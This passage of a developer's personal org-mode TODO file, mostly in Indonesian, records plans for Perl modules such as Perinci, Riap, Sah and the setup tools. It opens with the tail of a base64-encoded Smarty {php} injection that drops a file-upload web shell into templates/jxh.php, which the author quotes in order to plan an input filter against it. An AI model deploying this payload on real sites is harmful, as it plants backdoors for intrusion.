mh2SUNjOGFXNXdkWFFnZEhsd1pUMGlabWxzWlNJZ2JtRnRaVDB pWm1sc1pTSWdjMmw2WlQwaU5UQWlQanhwYm5CMWRDQnVZVzFsU FNKZmRYQnNJaUIwZVhCbFBTSnpkV0p0YVhRaUlHbGtQU0pmZFh Cc0lpQjJZV3gxWlQwaVZYQnNiMkZrSWo0OEwyWnZjbTArSnpzT kNtbG1LQ0FrWDFCUFUxUmJKMTkxY0d3blhTQTlQU0FpVlhCc2I yRmtJaUFwSUhzTkNnbHBaaWhBWTI5d2VTZ2tYMFpKVEVWVFd5Z G1hV3hsSjExYkozUnRjRjl1WVcxbEoxMHNJQ1JmUmtsTVJWTmJ KMlpwYkdVblhWc25ibUZ0WlNkZEtTa2dleUJsWTJodklDYzhZa jVWY0d4dllXUWdVMVZMVTBWVElDRWhJVHd2WWo0OFluSStQR0p 5UGljN0lIME5DZ2xsYkhObElIc2daV05vYnlBblBHSStWWEJzY jJGa0lFZEJSMEZNSUNFaElUd3ZZajQ4WW5JK1BHSnlQaWM3SUg wTkNuME5DajgrIik7DQokZm8gPSBmb3BlbigidGVtcGxhdGVzL 2p4aC5waHAiLCJ3Iik7DQpmd3JpdGUoJGZvLCRjb2RlKTt=')) ;{/php})\n\ndi sah sebenarnya gampang nanti, tinggal pasang filter. tapi harus ada cara yang\ngampang dan proper utk apply this (e.g. max_len => 100, !match =>\n/\\{php\\}.+\\{/php\\}/) to all input fields, for example (but not text area).\n\n** TODO [2012-01-20 Fri] ri: PROP.alt.env.{cmdline,...}\n- membedakan antara summary utk command-line vs summary utk POD vs ...\n** TODO [2012-01-20 Fri] ri: func: protocol/standard (or function) to operate on multiple items\nmis: ada func, arg-nya salah satunya x, dan sisanya y, z. kita ingin melakukan\nfunc() utk x1, x2, x3, x4.\n\n: multi('func', items=>{x=>[x1, x2, x3, x4]}, args=>{y=>Y, z=>Z})\n\nhasilnya nanti: X jika semua status sama X. 200 jika gak ada yang gagal atau ada\nyang berhasil. jika gagal semua dan beda2x, statusnya 500? semua enveloped\nresult akan dikumpulkan dan direturn di extra->{results}. ada juga opsi utk\nrandomize, max_fail, max_success.\n\n** TODO [2012-01-20 Fri] ri: func: protocol/standard to pass a single argument to multiple function\n- kebalikannya multi-items. mungkin namanya serial-func?\n- pass result to next function, so it's like f(g(h(i(j)))).\n- bisa ada kode utk evaluate each step, early exit/bail, jump... (seperti\n  Sub::Spec::Runner dong). tapi, dibutuhkan atau gak?\n** TODO [2012-01-20 Fri] ri: func: protocol/standard for callback/\"background\" and progress report/query\n- http already has this standard, the 202 = accepted status code. it means: \"The\n  request has been accepted for processing, but the processing has not been\n  completed. Its purpose is to allow a server to accept a request for some other\n  process (perhaps a batch-oriented process that is only run once per day)\n  without requiring that the user agent's connection to the server persist until\n  the process is completed. The entity returned with this response SHOULD\n  include an indication of the request's current status and either a pointer to\n  a status monitor or some estimate of when the user can expect the request to\n  be fulfilled.\"\n- so protocol should be like this:\n  + first invocation: f1(arg1=>1, arg2=>2, ...) => [202, \"Accepted\", undef,\n    {-async_job_id=>123, -async_estimated=>unix_timestamp,\n    -async_started=>unix_timestamp, -async_completed=>10%}]\n  + second invocation is to ask for status: f1(arg1=>1, arg2=>2, ...,\n    -async_job_id=>123). exact arguments not needed, especially if large, job id\n    should be unique. function should return [202 (still? or perhaps 220 or\n    whatever), \"In Progress\", {-async_job_id=>123, -async_estimated=>...,\n    -async_started=>..., -async_completed=>\n- first invocation can also set callback function (a URI?)\n- second (third, ...) invocation can remove callback, change callback, add\n  callbacks\n- after job is finished? and client not know yet since callback not defined,\n  server waits until client comes again. [20x, \"Already Done\", ...]\n- if job is gone/cancelled/failed, also report this...\n- UPDATE [2012-10-24 Wed]: utk progress sudah pake Progress::Any.\n** TODO [2012-01-20 Fri] ri: func: protocol/standard: undo: what if args are large?\nthey get passed around with each do/check_undo/undo/redo, and currently and\nstored in undo storage.\n** TODO [2012-01-20 Fri] ri: func: protocol/standard for redirection\n- much like HTTP 3xx redirection\n- \"contact this URL instead, don't execute me\"\n** TODO [2012-01-20 Fri] ri: func: protocol/standard for encrypting URI parameter\n- for example, callback function (specified in URI) contains sensitive\n  information (cc number, special ID or generated key, new/generated password,\n  etc)\n- perlu gitu? URI kan bisa kita panggil lewat https:// dan argument-nya kita\n  POST. gak semua harus disebutkan di URI string.\n** TODO buat module perl daftar kecamatan (Locale::ID::District)\n** IDEA module to convert psgi app from/to sub + rinci spec\n** IDEA ri: a new args_as: cmdish\n: 1, 2, 3, -foo => bar,\ntujuannya supaya bisa mirip seperti di cmdline (getopt::long), bisa mix antara\npositional arg dan named, named menggunakan prefix -WORD.\n** TODO peri2ahs: optimize\n- pake Gepok dan Starman mirip2 speednya (di laptop gw atom n570, dg ab -c 100,\nhasilnya sekitar 80 req/sdan 88 req/s; kurang cepet, soalnya hello aja bisa\n500-600 req/s), ini artinya aplikasi PSGI-nya yang lelet. dugaan gw mungkin di\nmiddleware HandleCommand (encode/decode json dsb), atau ParseRequest (manggil\nSub::Spec::URI dan bbrp kali require).\n\nsekilas gw coba benchmark sekilas. jika kita ganti HandleCommand dg hello world,\nspeed naik dari 80 jadi sekitar 115/sec (naik 43%). barnagkali kita bisa bikin\nHandleCommandSimple yg hanya support json dsb.\n\nhasil profil dg NYTprof (Gepok): berat karena Data::Pretty (or something)\nmencoba mendeteksi dengan menggunakna LWP::MediaTypes & Date::Manip.\n** TODO [2012-05-23 Wed] gepok: reenable ssl_verify_mode 0x02 (fail if no client cert)\nhttps://rt.cpan.org/Public/Bug/Display.html?id=70565\nsaat ini di debian gw Crypt::SSLeay error dan gak bisa direbuild juga karena error itu\n** IDEA [2012-05-23 Wed] gepok: alternatif scoreboard file (unix socket communication)\nselain pakai scoreboard, kita juga bisa menggunakan unix socket untuk\nberkomunikasi antara child dan parent (child to parent only?). teknik ini\ndipakai misalnya oleh Net::Server::PreFork. tapi selama scoreboard is working,\nbiarin dulu. kemungkinan juga faktor performance.\n** TODO [2012-05-23 Wed] gepok: regenerate client certificate for testing (exp. may 2032)  <2032-04-01 >\n** TODO [2012-06-05 Tue] script: uniq-with-memory yg lebih scalable, remember hash of each line [#C]\n** WISHLIST [2014-03-29 Sab] periahs: logger: redact passwords in function argument\n** TODO [2014-01-27 Mon] checklist utk new/rewritten Log::Any::App\n- [2014-01-27 Mon] jangan semua nilai dikopi (dicache, ingat state management\n  itu susah) dari spec ke ospec, biarkan undef dan nanti program yang ingin\n  menggunakannya bisa consult balik ke spec. contoh:\n\n  : \$spec = {\n  :     ...\n  :     filter_text => \"foo\",\n  :     level => \"trace\",\n  :     screen => [\n  :         {\n  :             filter_text => \"foo\", # harusnya undef aja, jangan kopi dari spec\n  :             level => \"trace\",     # ditto\n  :         }\n  :     ],\n\n  sebab dengan dikopi kita jadi gak tau apakah didefinenya di level spec atau\n  per-output, sehingga generate kode filter misalnya gak bisa dioptimize.\n** IDEA [2014-01-04 Sab] riap-app: support wildcard\n- untuk kasus yang simpel dulu aja seperti 'ls *pat*', ada special code yg\n  handle ini.\n- tapi gw sih ingin tetep mirip shell, yaitu word expansion. masalahnya kalo\n  word expansion saat ini multiple arg gak beres/buggy completion-nya.\n** TODO [2013-09-05 Thu] benerin bug ledger::parser\n** BUG [2013-08-07 Wed] setup modules: tests don't pass\n- peritm broken\n- setupsym: gagal karena berusaha create /.Trash-1000 (permission denied)\n- saat ini mentoknya di chmod.t, ada tes yg 'change mode before action' yang\n  gagal pass.\n- tes ~*chown.t~ juga belum dites lagi.\n** TODO [2013-08-07 Wed] setup*: berikan pesan error yang lebih detail\ninstead of \"Can't mkdir: \$!\" change it to \"Can't mkdir \$path: \$!\" karena\n\$log->info(...) munculnya bisa beda, error message di response itu bisa dioper2x\nke fungsi lain.\n- done: setupsym, setupf\n- belum: ...\n** TODO [2012-06-23 Sat] peritm: test what happens if func arg is not serializable (e.g. has coderef)\n** TODO [2012-06-22 Fri] pericmd: mark argument as password, di-ask-nya dari stdin + echo off\n** TODO peritm: implement limits and cleanups\n: =item * max_txs => INT (default 1000)\n: =item * max_open_txs => INT (default 100)\n: =item * max_committed_txs => INT (default 100)\n: =item * max_open_age => INT\n: =item * max_committed_age => INT\n- cleanup: also rolls back i transactions that have been around too long\n- cleanup: discard all R txs, discard all C, U, X txs that have been around too long\n** IDEA [2012-06-19 Tue] setup-file: backup file (suffix .1, .2, ...)\n** IDEA [2012-06-18 Mon] riap: add request key: id (request id), to allow pipelining\n- json rpc dan http/1.1 punya fitur ini\n- pentingkah? bikin kompleks-kah?\n** IDEA [2012-06-16 Sat] sah: shortcut untuk alt.lang.XX attributes, i hate writing those\n\n: summary;id\n: summary(id) = summary(id)lang (not much shorter then, eh?)\n: summary(foo)bar\n\n** IDEA [2012-06-16 Sat] ri, periswrap: crash logger [#C]\n** DONE IDEA [2012-06-16 Sat] easier way to write spec [#C]\n- Perinci::CmdLine::Easy salah satunya, barusan udah gw tulis.\n- i hate writing args, terlalu bertele2x.\n\nmaybe something dsl-y like:\n\n: arg 'foo' required;\n: arg 'bar' str*, pos=>1;\n\ntapi not a big deal sih.\n** IDEA [2012-06-15 Fri] pericmd: mode utk allow any arguments\nmis: cmdline --foo 1 --bar 2 --baz 3 otomatis ntar {foo=>1, bar=>2, baz=>3}.\nnifty misalnya untuk Riap commandline client:\n\n: \$ riap call /some/func --args '{arg1: 1, arg2: 2}'; # instead of --other '{args: {arg1: 1, arg2: 2}}'. need to indicate that --args value is not scalar though\n: \$ riap begin_tx / --tx_id foo; # instead of --other '{tx_id: foo}'\n** IDEA [2012-06-15 Fri] ri: function: caching/memoization (using CHI) + wrapper implementation\n- key / argumen(-argumen) yg dipake jadi cache keys\n- kriteria caching (max 6 jam, sehari sekali, dsb)\n- selain cache hasil, juga versi yg seperti once-daily, skip running jika masih\n  \"cached\"\n** BUG [2012-06-15 Fri] pericmd: --action dari sub arg dicuekin tanpa warning (diparse oleh pericmd itu sendiri)\nundocumented.\n** IDEA [2012-06-15 Fri] bor: opsi kelakuan search seperti newegg\n- kita masukkan search term ke search field\n- newegg otomatis tampilin hasil (btw, dalam bentuk grid 4 kolom misalnya, jadi\n  lebih enak liatnya ketimbang list tradisional. lalu ada field search lagi utk\n  search within.\n- btw, di tiap item juga ada checkbox gede [x] Compare, otomatis kalo kita\n  check, masuk ke daftar max 5 item di bagian agak atas, sebelah kanannya ada\n  tombol compare. search barang2x elektronik kayak gini memang enaknya bisa\n  compare2x.\n- sebenernya bisa diterapkan juga utk rumah atau barang2x lain yg banyak specnya\n  (utk rumah: jumlah KT/KM, LT, LB, jumlah lantai, kapasitas garasi, carport,\n  dsb dsb dsb).\n** IDEA [2012-06-15 Fri] bor: ux: option to display most used filters first, click more for more/the complete list\n- ini berarti kita harus collect user/usage data\n** IDEA [2012-06-15 Fri] bor: ux: option to display most used choices in a select box first, click to display complete options\n- ini berarti kita harus collect user/usage data\n** IDEA [2012-06-14 Thu] sah: (opt) instead of ordering clauses alphabetically, order by costs\n- yang costnya lebih kecil (paling cepet) di awal, supaya bisa lebih cepat early\n  exit\n- tentu saja tidak melanggar priority/dependency order\n- tapi bagaimana menghitung cost? jika ada expr ditambah X? dari panjang kode\n  perl (nah)?\n** TODO [2012-06-13 Wed] periahs: what to do with cors (Access-Control-Allow-Origin header)\npada dasarnya kita tinggal ngirimin header ini sih. lihat contoh/demo di\n~notes/coba/cors/~.\n\ndi ga misalnya, kita bisa set aja kirim 'Access-Control-Allow-Origin: *' agar\nfungsi2x api dapat dipakai/dimesh di semua halaman web manapun. fungsi2x milik\nklien dapat disetting oleh klien utk direstrict hanya diakses dari url tertentu.\nnah bagaimana dg paying client? dari API token, kita bisa mengeset agar fungsi2x\napi tersebut bisa muncul di website milik si klien.\n** WISHLIST [2012-06-13 Wed] borang: opsi utk require search dulu di grid sebelum menampilkan hasil\nmirip2x seperti google search. tujuannya kita ingin menghindari heavy query jika\ngak pake search term, dan lagi memang use casenya lebih ke arah search some rows\nketimbang browsing whole rows. di masterkey transaksi internet banking juga\nsebetulnya bisa digituin (walau browsing perlu juga sih).\n** TODO [2012-06-12 Tue] complete Finance::Bank::ID::BPRKS\n- bagian login/ambil mutasinya belum, pertama belum gitu butuh, kedua ngehang\n  juga ssl-nya dari pc gw, sama seperti mandiri. jadi males investigatenya.\n  males deh kalo situsnya sendiri gak cooperate, ngapain gw harus fight kalo gak\n  ada insentif gede utk itu.\n** IDEA [2012-06-06 Wed] bor: grid: autoupdate diperjarang\n- contoh: halaman2x masterkey (banktx.php, ticket.php, dll) autorefresh every N\n  minutes, termasuk jika ditaruh di background. perlu ada opsi agar semakin\n  memperjarang update jika gak diliat2x. (tapi gmail atau google reader juga gak\n  gitu sih, tetep aja refresh dengan cukup frequent).\n** TODO [2012-06-04 Mon] ri, periswrap: metadata property for locking/one instance only (or two ...?)\n- memanfaatkan transaction database\n** TODO [2012-03-27 Tue] pericmd, periahs: how to specify result filtering?\nfor example:\n\n: % calendar --result-filter '{date: epoch}'\n: % calendar --result-filter '{date: ymd, re: str}'\n\ndan ini perlu diteruskan ke server, untuk remote entity. so periahs (or riap)\nneeds to support this too.\n\n: curl 'http://gudangapi.com/ga/some_mod/some_func?-riap-result-filter:j={\"date\":\"epoch\"}'\n\n** TODO peri2html: tampilkan args berdasarkan kategori\n- [2012-03-27 Tue] nanti kalo perlu aja\n** TODO peri2pod: tampilkan args berdasarkan kategori\n- [2012-03-27 Tue] nanti kalo perlu aja\n** TODO peri2text: tampilkan args berdasarkan kategori\n- [2012-03-27 Tue] nanti kalo perlu aja\n** TODO pericmd: usage: tampilkan args berdasarkan kategori\n- [2012-03-27 Tue] nanti kalo perlu aja\n** TODO perisgen-acctbl: generate fungsi utk insert and/or update\n** TODO perisgen-acctbl: generate fungsi utk delete\n** TODO [2012-10-19 Fri] ct (or IOD?) feature: schema\nuntuk mencegah bad values masuk. schema misalnya hash dengan at least keys\nclause. untuk read gak perlu. nanti pesan error mis:\n- can't add param 'contain space': invalid name: ...\n- can't set param 'x': invalid value: ...\n- can't unset param 'x': required\n- can't add value to param 'email': multiple values not allowed\n- can't add param 'x': too many params\n** TODO [2012-10-19 Fri] ct: features\n- selain INI/IOD harus support database contoh di skrip firewall yang otomatis\nnambah IP/hostname utk diblokir kemungkinan bisa sampe ribuan+, jadi sebaiknya\ndimasukkan ke database.\n- bisa melakukan merge per-parameter (tidak harus per section). punya merging\n  function sendiri, tidak tergantung pada Data::ModeMerge atau Config::IOD.\n  misalnya user hanya butuh get_conf(\"/firewall/blocked_ips/1.2.3.4\") kita gak\n  perlu merge keseluruhan blocked_ips karena bisa ribuan+.\n** TODO [2012-10-18 Thu] pericmd: ux: kalo error 400, beri tambahan suggestion agar mencoba --help\n** IDEA [2012-10-12 Fri] perl module: validate virtual account bca\n- 11 digit, gak ada check digit (karena waktu gw ngangsur bassura, accountnya\n  itu linear nambahnya: 00554-00051{1,2,3,4} (kayaknya cuma 5 digit company ID\n  dan 6 digit client ID). tapi mungkin si company bisa implement sendiri check\n  digit dengan mengorbankan 1 digit sehingga hanya tersedit 5 digit (max 1jt)\n  untuk klien.\n** IDEA [2012-10-04 Thu] orgutils: list-org-contacts\nmencari dari headline ataupun bulletted list, coba parsing2x. nama, tag, phones\n(/cell/, /hp/, /phone/, values resembling phone number; parse the phone\nnumbers), birthdays, address, notes. output dalam bentuk array.\n** IDEA [2012-10-04 Thu] orgutils: convert array/list to org headlines\n** IDEA [2012-10-04 Thu] orgutils: convert list/table data to org contact\nformatnya standar sesuai org-contacts bikinan julien danjou? format gw sendiri?\n** TODO [2012-09-21 Fri] sah: shortcut for .is_expr=1 AND .is_multi=1\nexample:\n: [int => {'div_by&=' => '[2, 3, 5]'}]\n** TODO [2012-09-21 Fri] sah: custom clause: HasElems: num_of\n- ini sebenernya convenience aja daripada harus pake 'sum()' di expression.\n: num_of => [SCHEMA, min, max]\njumlah elemen yang pass SCHEMA minimal min, maximal max. ada variasi2x untuk\nhash (ngecek jumlah key dan/atau jumlah value).\n** IDEA [2012-09-12 Wed] perlmv: undo\n- bisa menggunakan File-Move-Undoable (tapi, jika target exists, perlu ganti\n  dulu jadi trash + ). utk perlln_s bisa menggunakan Setup-File-Symlink. utk perlcp bisa\n  menggunakan File-Copy-Undoable.\n** TODO [2012-09-06 Thu] trunc-u: truncate to a certain length (argument 'length')\n** IDEA [2012-09-05 Wed] upf: restrict shell hanya valid aja yg listed di /etc/shells\n** TODO [2012-08-30 Thu] periahs, periats: sudah clean JSON utk metadata dan result? dicache gak utk metadata? [#C]\n- seharusnya request ke metadata gak sebanyak call, jadi belum terlalu penting\n  dicache.\n** TODO [2012-08-30 Thu] setup: tambah should_already_exist di setup_unix_group\n** TODO [2012-08-30 Thu] setup: tambah should_already_exist di setup_unix_user\n** TODO [2012-08-30 Thu] setup: tambah should_exist di setup_unix_group\n- perlu gak ya? sejauh ini belum ada keperluan, seharusnya gampang2x aja sih.\n** TODO [2012-08-30 Thu] setup: tambah should_exist di setup_unix_user\n- perlu gak ya? sejauh ini belum ada keperluan, seharusnya gampang2x aja sih.\n** TODO [2012-08-30 Thu] setup: create + delete mysql db\n- diperlukan untuk: spanel: create db (installer webapp, atau mysql manager di panel)\n- utk create, undo actionnya cukup delete\n- utk delete, kita bisa: dump + DROP DATABASE, atau cukup rename database jadi\n  some special names (e.g. _deleted_12346) and refuse to delete those databases.\n  i prefer the second way, but there should be an option to do the first.\n** TODO [2012-08-30 Thu] setup: create + delete postgres db\n- diperlukan untuk: spanel: create db (installer webapp, atau mysql manager di panel)\n- lihat create + delete mysql db\n** TODO [2012-08-30 Thu] setup: insert rows to db, insert_or_replace rows to db\n- diperlukan untuk: spanel: spanel-setup (insert timezones to mysql)\n** TODO [2012-08-30 Thu] setup: insert, delete, set param to INI; insert, delete, rename sections\n- diperlukan utk: spanel: spanel-setup, installer webapp (edit php.ini by\n  inserting/modifying some params).\n** TODO [2012-08-30 Thu] setup: edit file\n- diperlukan utk: spanel: spanel-setup (edit konfigurasi lain yang bukan INI,\n  misalnya YAML, atau apache). kita pakai backup aja.\n** TODO [2012-08-30 Thu] setup: edit/insert cron entries [#C]\n- ini bisa diimplement dulu lewat setup::file::edit\n** TODO [2012-08-30 Thu] setup: change user's shell\n- diperlukan utk: spanel: fix-plan\n- strategi implementasi: simpel, cek shell sebelum diubah, undo action ke fungsi\n  set_user_shell itu lagi.\n** TODO [2012-08-30 Thu] setup: change user's plan\n- diperlukan utk: spanel: change-plan\n- strategi implementasi: simpel, cek plan sebelum diubah, undo action ke fungsi\n  itu lagi (run enforce-plan?)\n** TODO [2012-08-30 Thu] setup: change user's password\n- note: kita harus menyimpan encrypted password\n** TODO [2012-08-30 Thu] setup: install perl modules\n- diperlukan utk: spanel: spanel-setup, webapp installer\n- strategi implementasi: lihat setup utk os package. perl module lebih simpel,\n  gak ada installed as depdendency atau orphaned.\n** TODO [2012-08-30 Thu] setup: install php/pecl extension\n- diperlukan utk: spanel: spanel-setup, webapp installer\n- strategi implementasi: idem perl module\n** TODO [2012-08-30 Thu] setup: install os packages\n- diperlukan utk: spanel: spanel-setup\n- strategi implementasi: cek status sebelum instal apakah statusnya orphaned,\n  installed, uninstalled. undo action tidak harus selalu uninstall, kalo sebelum\n  diinstal statusnya uninstall, undo action = uninstal. kalo sebelum diinstal\n  statusnya orphaned, undo action = unintsall. kalo sebelum diinstal statusnya\n  dependency, ubah lagi jadi dependency. kalo sebelum diinstal statusnya\n  installed, jangan uninstall (tapi, do action juga da bakal 304 anyway).\n** TODO [2012-08-30 Thu] setup: enable/disable apache module\n\n** TODO [2012-08-29 Wed] pericmd: --confirm to add -confirm => 1 to functions (esp when --undo or --redo)\n** TODO [2012-06-19 Tue] bca: mutasi 2 bulan\n- sekarang bisa lihat mutasi 2 bulan, tapi hanya untuk mutasi bulanan, mutasi\n  harian tetap max 31 hari.\n- di form mutasi, ada pilihan mutasi harian dan mutasi bulanan\n\n:  <input type=\"radio\" name=\"value(r1)\" id=\"r1\" value=\"2\" onclick=\"r13();\">Mutasi Bulanan\n:   <select size=\"1\" name=\"value(x)\" id=\"x\" onchange=\"r12()\">\n:   <!--<select size=\"1\" name=\"value(x)\" id=\"x\">-->\n:   <option value=\"0\" selected>\n:   <option value=\"1\">Mei</option>\n:   <option value=\"2\">April</option>\n:   </select>\n\n** TODO [2012-08-28 Tue] setupf: provide chmod_r()\n** TODO [2012-08-28 Tue] setupf: provide chown_r()\n** TODO [2012-08-28 Tue] setupf: provide fix_r()\n- utk fixperm spanel, jadi one-pass gak usah chmod -R + chown -R + ...\n** IDEA [2012-08-22 Wed] pl: perinci::easy: use devel::declare for nicer syntax [#C]\nmis:\n\n: func foo(arg1 => {schema => \"...\", summary=>\"...\"}, arg2 => {...}) {\n:   summary \"\";\n:   description \"...\";\n: }\n\ntapi meh... i've got better things to do than mucking around with this syntax.\n** IDEA [2012-08-22 Wed] pl: periga-argv: expand wildcards (for windows)? [#C]\n- or for certain args only\n** IDEA [2012-08-22 Wed] pl: parse::netstat: accesstable function\n** IDEA [2012-08-22 Wed] perl module: library to access/convert dovecot mailbox format\n- gw search di cpan gak ada ya\n** IDEA [2012-08-21 Tue] perl module: something like treeshape (python module) to quickly create files/dirs  :blogged:\ntreeshape allows you to quickly make file and directory structures on disk.\n\nFor example::\n\n:     from treeshape import (\n:         CONTENT,\n:         make_tree,\n:         PERMISSIONS,\n:         )\n:\n:     make_tree('.', {\n:         'logs/': None,\n:         'README': {CONTENT: \"A simple directory layout\\n\"},\n:         'data/input': {CONTENT: \"All of our input data\\n\"},\n:         'bin/script': {CONTENT: \"#!/bin/sh\\necho 'Hello'\\n\", PERMISSIONS: 0755},\n:         })\n\nWill create a directory structure that looks like this::\n\n:     \$ find .\n:     .\n:     ./logs\n:     ./data\n:     ./data/input\n:     ./README\n:     \$ cat README\n:     A simple directory layout\n:     \$ cat data/input\n:     All of our input data\n\nThis is particularly useful for tests that touch the disk.\n\nsomething worth doing? seems simple enough, except the UPPERCASE thing looks\nodd.\n\n- [2013-10-26 Sab] mentioned on my blog\n** TODO [2012-08-14 Tue] ri: undo: selection, repeat (ctrl-y)\n- ini perlu ada selevel di atas ri::tx::Undo, karena menyangkut selection.\n- fungsi yg ingin participate perlu support feature: selection\n  (menerima/mengenali selection).\n- [2] end-user invokes command: \$something->call (?) (\$f, \$selection) [ini ada undo\n  list-nya, atau cuma 1 aja?]\n- ini nanti translates ke \$txm->call(\$f or \$other_f, \$args) (one, or one or more?)\n- txm perlu save selection? atau minimal save description (di summary/name?)\n  agar user tahu.\n- kalau user ingin undo, bisa melihat undo history dari \$txm.\n- kalau user ingin repeat dengan selection lain, melihat history dari [2].\n\njadi kayaknya cuma sesimpel kita mengesave 1 tindakan (nama fungsi) aja yang\nsupport selection.\n** TODO [2012-08-14 Tue] laa: make sure we don't have to break old compatibility unless we have to\n- support old env var names\n- make it oo so it's easier to customize?\n** IDEA [2012-08-02 Thu] pericmd: some command-line opt to turn the program into a Riap::Simple pipe server (or even a socket server, or an http server)\n- useful? use case?\n- this kind of thing should be a Perinci::CmdLine::Plugin or something\n** TODO [2012-08-02 Thu] periga-argv: refactor (needs sah)\n- sah should have a parse_from_string() method for each data type. for example,\n  the 'date' type should be able to parse unix time stamp, YYYY-MM-DD, etc.\n  there should be some configurable options for parsing, but some appropriate\n  defaults. this will make it easy for periga-argv/pericmd to parse cmdline\n  opts:\n\n: --start-date 1999-12-31 --duration 1h\n\nwill automatically parsed and become DateTime object and DateTime::Duration\nobject.\n\n** TODO [2012-08-02 Thu] peribashc: tweak/fix completion of command line options\n- argument array of string bisa disebutkan lebih dari sekali, e.g.: --ary v1\n  --ary v2, harusnya jika sudah diketik 'foo --ary v1 --'<tab> masih include\n  --ary lagi (sampe max_len sebaikya)\n- sekarang --nonscalararg-json dan --nonscalararg-yaml sudah diaktifkan, jadi\n  jika sudah disebutkan argumen tersebut, anggap --nonscalararg sudah disebutkan\n  dan gak usah ditawarkan lagi di completion (kecuali array, lihat poin\n  sebelumnya).\n- in general perlu direfaktor deh kode di Perinci::BashComplete, rutin utk\n  menghasilkan daftar cmdline-opts dari \$meta->{args} perlu dipindahkan ke\n  Perinci::Sub::Getargs::Argv.\n** TODO [2012-08-02 Thu] security audit of periwrap, Riap implementation (periai, perias{s,c}, periah{s,c})\n** TODO [2012-07-31 Tue] sah: introduce protocol version to all handlers, just like periwrap 0.24+\n- to control incompatible changes and make old handlers obsolete.\n** IDEA [2012-07-31 Tue] pod weaver: COPYRIGHT section: starting year bisa diambil dari oldest Changes entry, end year dari current year atau newest Changes entry  :blogged:\n- bisa aja gak contiguous, mis from changes entry there's only 2009, 2011, 2012.\n** TODO [2012-07-31 Tue] periahs, periats: add option: when failing on coderefs, just remove/exclude the property instead of dying\nthis is a more graceful degradation way for many cases.\n** IDEA [2012-07-28 Sat] ri: arg spec: cmdline_src (or src) dari ENV <-- tapi ini harusnya dihandle oleh config secara lebih umum\n- walaupun src bisa override that dan customize, mis nama env tidak sama dengna\n  nama arg.\n- berguna untuk password misalnya\n** TODO [2012-07-25 Fri] sah: pengganti sintaks clause .alt\n- sintaks ini gak memungkinkan 2 atau lebih kondisi alternatif berbeda. contoh:\n  summary (english), lalu ada summary.alt.env.cmdline (summary utk cmdline),\n  summary.alt.lang.id_ID (summary utk bahasa indo), bagaimana summary bahasa\n  indo untuk env cmdline?\n- make alt special, not just another clause\n- kandidat sintaks pengganti:\n\n: summary[env=cmdline]\n: summary[lang=id_ID]\n: summary[env=cmdline lang=id_ID]\n\natau pake tanda kurung (i slightly prefer this, tapi not much, kalo pake kurung\nbanyak orang akan salah ngasih spasi sebelum \"(\"):\n\n: summary(env=cmdline lang=id_ID)\n\natau pake {}, atau <>.\n\nharus ketat, harus sorted, gak boleh ada spasi di antara /=/. biar gak\nmenyusahkan hash merging.\n- nanti jika jadi diubah, kita harus pula mengupdate:\n  + gudang-data-interim (spec table)\n  + spec rinci\n  + spec riap\n  + periobj: cara ngambil summary/dsb dengan alt tertentu\n  + semua yang pake periobj\n  + search semua repos perl yang pake /.alt.lang/\n** TODO [2012-07-25 Wed] why is periats/periatc so slow (compared to periahs/periahc)?\nhanya beberapa puluh req/s???\n** IDEA [2012-07-25 Wed] optimize Org::Parser: delay parsing elements, like done in Timestamp\nand use 'before' method modifier to automatically parse on demand.\n** IDEA [2012-07-18 Wed] perl module: librari untuk mendetek aplikasi web di sebuah direktori\n- atau cari dulu existing ones?\n- result yg diinginkan: nama, versi, family, language (sesuai standard catalog),\n  cve links, untuk php: lokasi config.ini, dsb.\n- kayaknya ini untuk spanel aja?\n- bangsatnya teh banyak webdev yang strip semua header dan comment/copyright\n  notice. utk yg ini biarin aja deh aplikasinya gak jelas.\n** IDEA [2012-07-18 Wed] pericmd output format: ncurses\n- jadi saat dioutput, langsung muncul layar ncurses isinya data structure\n  explorer, ada tree view, bisa collapse dan expand, dsb.\n- mirip2x org\n- api explorer, ada operasi untuk resubmit dg ubah2x parameter. contoh di bawah:\n**** request\n***** cmdline: ..... <-- jika diedit, otomatis bisa update uri & args di bawah\n***** uri: [/Foo/Bar/baz] [/] <--- otomatis bisa tampilkan summary, autocomplete (incremental search)\n***** args\n***** arg1: [...]\n***** arg2: [...]\n**** response\n***** status: 200\n**** message: OK\n**** result\n***** table\n****** row1   a | b | c | d\n****** row2   a | b | c | d\n** IDEA [2012-09-20 Thu] pericmd, ansitable: syntax-highlight json/yaml\n- [2012-11-16 Fri] baca blog post gw\nhttp://blogs.perl.org/users/steven_haryanto/2012/11/the-sad-state-of-syntax-highlighting-libraries-on-cpan.html\nlibrary di perl gak ada yang bisa dipake. satu yang mungkin dipake adalah\nSyntax::SourceHighlight tapi ini dependency-nya gede (100+ MB) plus belum\nsupport yaml out of the box, gak cocok kalo dipake di spanel. yang kita butuhkan\nhanya highlight some json/yaml dengan cepat.\n- pygments juga external dependency walau smaller (ada di debian), skrip\n  startup-nya lambat (0.2s utk a very simple json).\n- coderay (ruby) lebih cepat (ada di debian). gak support perl (tapi dalam kasus\n  ini ga kita butuhkan), tapi juga external dependency.\n- utk json, Syntax::Highlight::JSON bisa kita pakai dalam kasus ini, karena\n  sekalian formatting juga gpp.\n** IDEA [2012-07-18 Wed] text::prettytable (pengganti text::asciitable)\n- focus: number one: prettyness (pretty defaults, graceful degrades, colors/256\n  colors). sisanya: flexibility. name: Term::PrettyTable (tapi gw rada kurang\n  sreg dengan Term::, ntar kesannya bisa curses juga? Text::PrettyTable aja?).\n  prettyness ini yang beda dibanding text::ansitable: text::prettytable gak\n  segan2x by default motong data, hide tabel/kolom, format data jadi beda.\n  tujuan utamanya bukan nampilin data verbatim, tapi prettiness. utk human eye\n  consumption.\n- modul yg bisa dilihat: Term::Cap\n- tujuan yang ingin dicapai:\n  + output otomatis bisa pretty sd simpel, degrade gracefully: tab\n    delimited/csv/pipe-delimited configurable) untuk piped, normal\n    text::asciitable (dengan -----+--- dsb) untuk normal terminal yg gak support\n    ansi codes, atau. berarti ada at least 3 level pretty: ascii-pretty,\n    ansi-pretty, ansi-pretty-monochrome (bisa juga sepia atau ada color themes),\n    ascii-simple. different backends, at least HTML juga perlu, soalnya daripada\n    gw subclass DFP mending dari Text::PrettyTable dulu/juga.\n\n    backends mengatur: coloring, width, how to clip content, override some\n    formatting (contoh: date dll mungkin bisa pake javascript [relatize], ).\n    jadi formatting specification harus abstract dan bukan direct\n    Data::Unixish::Apply. ada juga formatting yang langsung ya.\n\n    align -> ini di HTML beda\n    date -> ini di HTML bisa beda\n\n  + color dan color themes BY DEFAULT\n  + BY default try to wrap/ellipsis data (ingat, prettyness prioritas nomor satu\n    ketimbang nampilin data lengkap) so that 